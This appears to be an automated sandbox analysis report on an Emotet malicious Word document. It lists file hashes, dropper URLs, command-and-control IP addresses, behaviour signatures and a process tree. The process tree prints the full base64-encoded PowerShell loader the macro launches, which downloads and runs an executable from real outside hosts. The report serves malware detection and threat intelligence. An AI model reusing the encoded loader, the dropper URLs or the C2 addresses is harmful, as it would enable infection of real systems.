Analysis

  • max time kernel
    145s
  • max time network
    73s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    02-08-2020 07:36

General

  • Target

    SecuriteInfo.com.Exploit.Siggen2.13664.14938.7490.doc

  • Size

    173KB

  • MD5

    9dc6c15bd5cadbea76473ca0a61270d0

  • SHA1

    a1e18ac08b98c88a49da1b8afa527468a102fd0d

  • SHA256

    56916942bc59a1ae0cc030beaf907b54631390e0a5fa7d75bce1f120df88d843

  • SHA512

    ef06ec05fa2463a2f32defb87d796ff0fb88d3d9c8f2169b19683b6620e4e18dab86b69ae8649d59d2cc280293ec1f070443e9d69ad7018b20fee14a789f05a4

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://prolicitar.com.br/privilege/VwWMjYDU/

exe.dropper

http://proreclame.nl/assets/Riw/

exe.dropper

http://www.meltonian.net/Blog/Zaviixl730/

exe.dropper

http://www.mollymoody.com/iRVKRMq/

exe.dropper

https://mwrouse.com/cs2300/qVJaPCy/

Extracted

Family

emotet

C2

187.64.128.197:80

198.57.203.63:8080

163.172.107.70:8080

212.112.113.235:80

157.7.164.178:8081

181.167.35.84:80

212.156.133.218:80

185.142.236.163:443

181.143.101.19:8080

75.127.14.170:8080

115.165.3.213:80

190.55.233.156:80

139.59.12.63:8080

144.139.91.187:80

37.70.131.107:80

181.113.229.139:443

41.185.29.128:8080

177.37.81.212:443

5.79.70.250:8080

78.188.170.128:80

rsa_pubkey.plain

Signatures

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Modifies registry class 280 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Blacklisted process makes network request 2 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Office loads VBA resources, possible macro or embedded object present

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.13664.14938.7490.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1108
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABWAE0AQgBBAE8AaABvAHcAPQAnAEEASgBEAFEAUwBrAHMAdQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYwBVAGAAUgBJAGAAVAB5AHAAYABSAE8AVABPAGMAYABPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABIAFAATABCAEkAYQB6AGcAIAA9ACAAJwA3ADUAMQAnADsAJABNAEwASgBUAFoAeQB4AGgAPQAnAFcATABMAFkATQBkAGUAZgAnADsAJABXAEgATgBDAFcAYwBqAHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEgAUABMAEIASQBhAHoAZwArACcALgBlAHgAZQAnADsAJABWAFQARgBOAEEAdwBqAGkAPQAnAFEAVwBBAEoATgBoAHAAdAAnADsAJABIAFcAVQBTAEMAcgBxAGEAPQAuACgAJwBuAGUAdwAnACsAJwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4ARQB0AC4AdwBlAGIAQwBsAGkARQBuAHQAOwAkAFAASQBMAEQAUQBzAGYAeAA9ACcAaAB0AHQAcAA6AC8ALwBwAHIAbwBsAGkAYwBpAHQAYQByAC4AYwBvAG0ALgBiAHIALwBwAHIAaQB2AGkAbABlAGcAZQAvAFYAdwBXAE0AagBZAEQAVQAvACoAaAB0AHQAcAA6AC8ALwBwAHIAbwByAGUAYwBsAGEAbQBlAC4AbgBsAC8AYQBzAHMAZQB0AHMALwBSAGkAdwAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAG0AZQBsAHQAbwBuAGkAYQBuAC4AbgBlAHQALwBCAGwAbwBnAC8AWgBhAHYAaQBpAHgAbAA3ADMAMAAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAG0AbwBsAGwAeQBtAG8AbwBkAHkALgBjAG8AbQAvAGkAUgBWAEsAUgBNAHEALwAqAGgAdAB0AHAAcwA6AC8ALwBtAHcAcgBvAHUAcwBlAC4AYwBvAG0ALwBjAHMAMgAzADAAMAAvAHEAVgBKAGEAUABDAHkALwAnAC4AIgBzAGAAUABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAE0AUwBCAEIAUQBhAHoAegA9ACcATwBMAFEATgBPAGYAdgB5ACcAOwBmAG8AcgBlAGEAYwBoACgAJABZAFQATQBYAFQAZQB6AHMAIABpAG4AIAAkAFAASQBMAEQAUQBzAGYAeAApAHsAdAByAHkAewAkAEgAVwBVAFMAQwByAHEAYQAuACIARABgAG8AVwBuAGwATwBBAGAARABmAGkAYABMAEUAIgAoACQAWQBUAE0AWABUAGUAegBzACwAIAAkAFcASABOAEMAVwBjAGoAcgApADsAJABFAFkATABOAEsAcgBpAGgAPQAnAE8ATgBYAEUASgB0AHAAcgAnADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAFcASABOAEMAVwBjAGoAcgApAC4AIgBMAGUAYABOAEcAdABoACIAIAAtAGcAZQAgADIAOQA2ADAANAApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwBSAEUAYABBAHQAZQAiACgAJABXAEgATgBDAFcAYwBqAHIAKQA7ACQAVQBEAEYATwBBAGIAdQB3AD0AJwBEAEgAVgBPAFAAZwBrAHUAJwA7AGIAcgBlAGEAawA7ACQAWQBJAEsAUwBKAG8AawBtAD0AJwBKAEMAWABYAFcAdAB6AGUAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWQBLAEsATABQAHUAagBkAD0AJwBUAFoASQBYAFkAeQBsAHMAJwA=
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Drops file in System32 directory
    • Blacklisted process makes network request
    PID:1532
  • C:\Users\Admin\751.exe
    C:\Users\Admin\751.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    PID:796
    • C:\Windows\SysWOW64\KBDMLT47\rpcnsh.exe
      "C:\Windows\SysWOW64\KBDMLT47\rpcnsh.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      PID:1220

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\751.exe
  • C:\Users\Admin\751.exe
  • C:\Windows\SysWOW64\KBDMLT47\rpcnsh.exe
  • memory/796-11-0x0000000000320000-0x000000000032C000-memory.dmp
    Filesize

    48KB

  • memory/1108-4-0x0000000006F00000-0x0000000007100000-memory.dmp
    Filesize

    2.0MB

  • memory/1108-7-0x000000000BE70000-0x000000000BE74000-memory.dmp
    Filesize

    16KB

  • memory/1108-6-0x000000000ADF0000-0x000000000ADF4000-memory.dmp
    Filesize

    16KB

  • memory/1108-0-0x0000000006F00000-0x0000000007100000-memory.dmp
    Filesize

    2.0MB

  • memory/1108-2-0x00000000088E0000-0x00000000088E4000-memory.dmp
    Filesize

    16KB

  • memory/1108-12-0x0000000002180000-0x0000000002181000-memory.dmp
    Filesize

    4KB

  • memory/1108-1-0x0000000006F00000-0x0000000007100000-memory.dmp
    Filesize

    2.0MB

  • memory/1220-13-0x0000000000000000-mapping.dmp
  • memory/1220-15-0x00000000003B0000-0x00000000003BC000-memory.dmp
    Filesize

    48KB